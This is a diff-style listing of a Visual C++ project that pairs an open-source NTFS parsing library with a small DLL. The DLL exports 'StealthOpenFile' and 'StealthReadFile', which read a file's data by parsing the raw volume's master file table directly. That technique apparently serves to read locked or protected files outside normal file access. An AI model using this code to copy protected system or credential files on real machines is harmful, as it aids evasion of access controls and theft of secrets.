if (!ParseAttr(ahc)) // Parse error
|
||||
return FALSE;
|
||||
|
||||
if (IsEncrypted() || IsCompressed())
|
||||
{
|
||||
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
dataPtr += ahc->TotalSize;
|
||||
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Install Attribute raw data CallBack routines for a single File Record
|
||||
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CFileRecord::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
// Choose attributes to handle, unwanted attributes will be discarded silently
|
||||
__inline void CFileRecord::SetAttrMask(DWORD mask)
|
||||
{
|
||||
// Standard Information and Attribute List is needed always
|
||||
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
|
||||
}
|
||||
|
||||
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
|
||||
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
|
||||
{
|
||||
_ASSERT(attrCallBack);
|
||||
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
{
|
||||
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
|
||||
{
|
||||
const CAttrBase *ab = AttrList[i].FindFirstEntry();
|
||||
while (ab)
|
||||
{
|
||||
BOOL bStop;
|
||||
bStop = FALSE;
|
||||
attrCallBack(ab, context, &bStop);
|
||||
if (bStop)
|
||||
return;
|
||||
|
||||
ab = AttrList[i].FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Find Attributes
|
||||
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
|
||||
}
|
||||
|
||||
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
|
||||
}
|
||||
|
||||
// Get File Name (First Win32 name)
|
||||
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
|
||||
{
|
||||
// A file may have several filenames
|
||||
// Return the first Win32 filename
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
while (fn)
|
||||
{
|
||||
if (fn->IsWin32Name())
|
||||
{
|
||||
int len = fn->GetFileName(buf, bufLen);
|
||||
if (len != 0)
|
||||
return len; // success or fail
|
||||
}
|
||||
|
||||
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get File Size
|
||||
__inline ULONGLONG CFileRecord::GetFileSize() const
|
||||
{
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
return fn ? fn->GetFileSize() : 0;
|
||||
}
|
||||
|
||||
// Get File Times
|
||||
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
|
||||
{
|
||||
// Standard Information attribute hold the most updated file time
|
||||
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
if (si)
|
||||
si->GetFileTime(writeTm, createTm, accessTm);
|
||||
else
|
||||
{
|
||||
writeTm->dwHighDateTime = 0;
|
||||
writeTm->dwLowDateTime = 0;
|
||||
if (createTm)
|
||||
{
|
||||
createTm->dwHighDateTime = 0;
|
||||
createTm->dwLowDateTime = 0;
|
||||
}
|
||||
if (accessTm)
|
||||
{
|
||||
accessTm->dwHighDateTime = 0;
|
||||
accessTm->dwLowDateTime = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Traverse all sub directories and files contained
|
||||
// Call user defined callback routine once found an entry
|
||||
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
_ASSERT(seCallBack);
|
||||
|
||||
// Start traversing from IndexRoot (B+ tree root node)
|
||||
|
||||
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
// Visit subnode first
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
// Find a specific FileName from InexRoot described B+ tree
|
||||
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
// Start searching from IndexRoot (B+ tree root node)
|
||||
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return FALSE;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Find Data attribute class of
|
||||
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
|
||||
{
|
||||
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
|
||||
while (data)
|
||||
{
|
||||
if (data->IsUnNamed() && name == NULL) // Unnamed stream
|
||||
break;
|
||||
if ((!data->IsUnNamed()) && name) // Named stream
|
||||
{
|
||||
_TCHAR an[MAX_PATH];
|
||||
if (data->GetAttrName(an, MAX_PATH))
|
||||
{
|
||||
if (_tcscmp(an, name) == 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
data = FindNextAttr(ATTR_TYPE_DATA);
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Check if it's deleted or in use
|
||||
__inline BOOL CFileRecord::IsDeleted() const
|
||||
{
|
||||
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
|
||||
}
|
||||
|
||||
// Check if it's a directory
|
||||
__inline BOOL CFileRecord::IsDirectory() const
|
||||
{
|
||||
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsReadOnly() const
|
||||
{
|
||||
// Standard Information attribute holds the most updated file time
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsReadOnly() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsHidden() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsHidden() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSystem() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSystem() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsCompressed() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsCompressed() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsEncrypted() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsEncrypted() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSparse() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSparse() : FALSE;
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume Implementation
|
||||
///////////////////////////////////////
|
||||
CNTFSVolume::CNTFSVolume(_TCHAR volume)
|
||||
{
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
VolumeOK = FALSE;
|
||||
MFTRecord = NULL;
|
||||
MFTData = NULL;
|
||||
Version = 0;
|
||||
ClearAttrRawCB();
|
||||
|
||||
if (!OpenVolume(volume))
|
||||
return;
|
||||
|
||||
// Verify NTFS volume version (must >= 3.0)
|
||||
|
||||
CFileRecord vol(this);
|
||||
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
|
||||
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
|
||||
return;
|
||||
|
||||
vol.ParseAttrs();
|
||||
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
|
||||
if (!vi)
|
||||
return;
|
||||
|
||||
Version = vi->GetVersion();
|
||||
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
|
||||
if (Version < 0x0300) // NT4 ?
|
||||
return;
|
||||
|
||||
#ifdef _DEBUG
|
||||
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
|
||||
if (vn)
|
||||
{
|
||||
char volname[MAX_PATH];
|
||||
if (vn->GetName(volname, MAX_PATH) > 0)
|
||||
{
|
||||
NTFS_TRACE1("NTFS volume name: %s\n", volname);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
VolumeOK = TRUE;
|
||||
|
||||
MFTRecord = new CFileRecord(this);
|
||||
MFTRecord->SetAttrMask(MASK_DATA);
|
||||
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
|
||||
{
|
||||
MFTRecord->ParseAttrs();
|
||||
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
|
||||
if (MFTData == NULL)
|
||||
{
|
||||
delete MFTRecord;
|
||||
MFTRecord = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CNTFSVolume::~CNTFSVolume()
|
||||
{
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(hVolume);
|
||||
|
||||
if (MFTRecord)
|
||||
delete MFTRecord;
|
||||
}
|
||||
|
||||
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
|
||||
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
|
||||
{
|
||||
// Verify parameter
|
||||
if (!_istalpha(volume))
|
||||
{
|
||||
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_TCHAR volumePath[7];
|
||||
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
|
||||
volumePath[6] = _T('\0');
|
||||
|
||||
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD num;
|
||||
NTFS_BPB bpb;
|
||||
|
||||
// Read the first sector (boot sector)
|
||||
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
|
||||
{
|
||||
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
|
||||
{
|
||||
// Log important volume parameters
|
||||
|
||||
SectorSize = bpb.BytesPerSector;
|
||||
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
|
||||
|
||||
ClusterSize = SectorSize * bpb.SectorsPerCluster;
|
||||
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
|
||||
|
||||
int sz = (char)bpb.ClustersPerFileRecord;
|
||||
if (sz > 0)
|
||||
FileRecordSize = ClusterSize * sz;
|
||||
else
|
||||
FileRecordSize = 1 << (-sz);
|
||||
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
|
||||
|
||||
sz = (char)bpb.ClustersPerIndexBlock;
|
||||
if (sz > 0)
|
||||
IndexBlockSize = ClusterSize * sz;
|
||||
else
|
||||
IndexBlockSize = 1 << (-sz);
|
||||
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
|
||||
|
||||
MFTAddr = bpb.LCN_MFT * ClusterSize;
|
||||
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Volume file system is not NTFS\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Read boot sector error\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
|
||||
IOError:
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(hVolume);
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Check if Volume is successfully opened
|
||||
__inline BOOL CNTFSVolume::IsVolumeOK() const
|
||||
{
|
||||
return VolumeOK;
|
||||
}
|
||||
|
||||
// Get NTFS volume version
|
||||
__inline WORD CNTFSVolume::GetVersion() const
|
||||
{
|
||||
return Version;
|
||||
}
|
||||
|
||||
// Get File Record count
|
||||
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
|
||||
{
|
||||
return (MFTData->GetDataSize() / FileRecordSize);
|
||||
}
|
||||
|
||||
// Get BPB information
|
||||
|
||||
__inline DWORD CNTFSVolume::GetSectorSize() const
|
||||
{
|
||||
return SectorSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetClusterSize() const
|
||||
{
|
||||
return ClusterSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetFileRecordSize() const
|
||||
{
|
||||
return FileRecordSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
|
||||
{
|
||||
return IndexBlockSize;
|
||||
}
|
||||
|
||||
// Get MFT starting address
|
||||
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
|
||||
{
|
||||
return MFTAddr;
|
||||
}
|
||||
|
||||
// Install Attribute CallBack routines for the whole Volume
|
||||
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CNTFSVolume::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,40 @@
|
||||
========================================================================
|
||||
CONSOLE APPLICATION : NTFSParser Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this NTFSParser application for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your NTFSParser application.
|
||||
|
||||
|
||||
NTFSParser.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
NTFSParser.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
NTFSParser.cpp
|
||||
This is the main application source file.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named NTFSParser.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
@@ -0,0 +1,8 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// NTFSParser.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
@@ -0,0 +1,17 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* NTFS include files
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_H_CYB70289
|
||||
#define __NTFS_H_CYB70289
|
||||
|
||||
#pragma pack(8)
|
||||
|
||||
#include "NTFS_Common.h"
|
||||
#include "NTFS_FileRecord.h"
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
#pragma pack()
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,161 @@
|
||||
/*
|
||||
*
|
||||
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
//
|
||||
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "NTFS.h"
|
||||
#include "NTFS_DataType.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
struct FileInfo_t
|
||||
{
|
||||
CNTFSVolume* volume;
|
||||
CFileRecord* fileRecord;
|
||||
CIndexEntry* indexEntry;
|
||||
CAttrBase* data;
|
||||
};
|
||||
|
||||
extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr)
|
||||
{
|
||||
FileInfo_t* fileInfo = new FileInfo_t;
|
||||
|
||||
string filePath = string(filePathCStr);
|
||||
_TCHAR volumeName = filePath.at(0);
|
||||
|
||||
fileInfo->volume = new CNTFSVolume(volumeName);
|
||||
if (!fileInfo->volume->IsVolumeOK())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//Parse root directory
|
||||
fileInfo->fileRecord = new CFileRecord(fileInfo->volume);
|
||||
fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION);
|
||||
|
||||
if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (!fileInfo->fileRecord->ParseAttrs())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//Find subdirectory
|
||||
fileInfo->indexEntry = new CIndexEntry;
|
||||
int dirs = filePath.find(_T('\\'), 0);
|
||||
int dire = filePath.find(_T('\\'), dirs+1);
|
||||
|
||||
while (dire != string::npos)
|
||||
{
|
||||
string pathname = filePath.substr(dirs+1, dire-dirs-1);
|
||||
const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str();
|
||||
if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry)))
|
||||
{
|
||||
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!fileInfo->fileRecord->ParseAttrs())
|
||||
{
|
||||
if (fileInfo->fileRecord->IsCompressed())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
else if (fileInfo->fileRecord->IsEncrypted())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
dirs = dire;
|
||||
dire = filePath.find(_T('\\'), dirs+1);
|
||||
}
|
||||
|
||||
string fileName = filePath.substr(dirs+1, filePath.size()-1);
|
||||
const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str();
|
||||
if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry)))
|
||||
{
|
||||
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
fileInfo->fileRecord->SetAttrMask(MASK_DATA);
|
||||
if (!fileInfo->fileRecord->ParseAttrs())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream();
|
||||
|
||||
return fileInfo;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining)
|
||||
{
|
||||
|
||||
if (fileInfo->data)
|
||||
{
|
||||
ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize();
|
||||
ULONGLONG fullDataLength = dataLength;
|
||||
|
||||
dataLength = dataLength - offset;
|
||||
if (dataLength > bufferSize)
|
||||
{
|
||||
dataLength = bufferSize;
|
||||
}
|
||||
if (dataLength > MAXUINT32)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD len;
|
||||
if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength)
|
||||
{
|
||||
*bytesRead = len;
|
||||
*dataRemaining = fullDataLength - len - offset;
|
||||
return 0; //Success
|
||||
}
|
||||
return 3;
|
||||
}
|
||||
return 2;
|
||||
}
|
||||
|
||||
|
||||
extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo)
|
||||
{
|
||||
delete (fileInfo->data);
|
||||
delete (fileInfo->indexEntry);
|
||||
delete (fileInfo->volume);
|
||||
delete fileInfo;
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{5E42B778-F231-4797-B7FD-7D5BCA9738D0}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>NTFSParserDLL</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
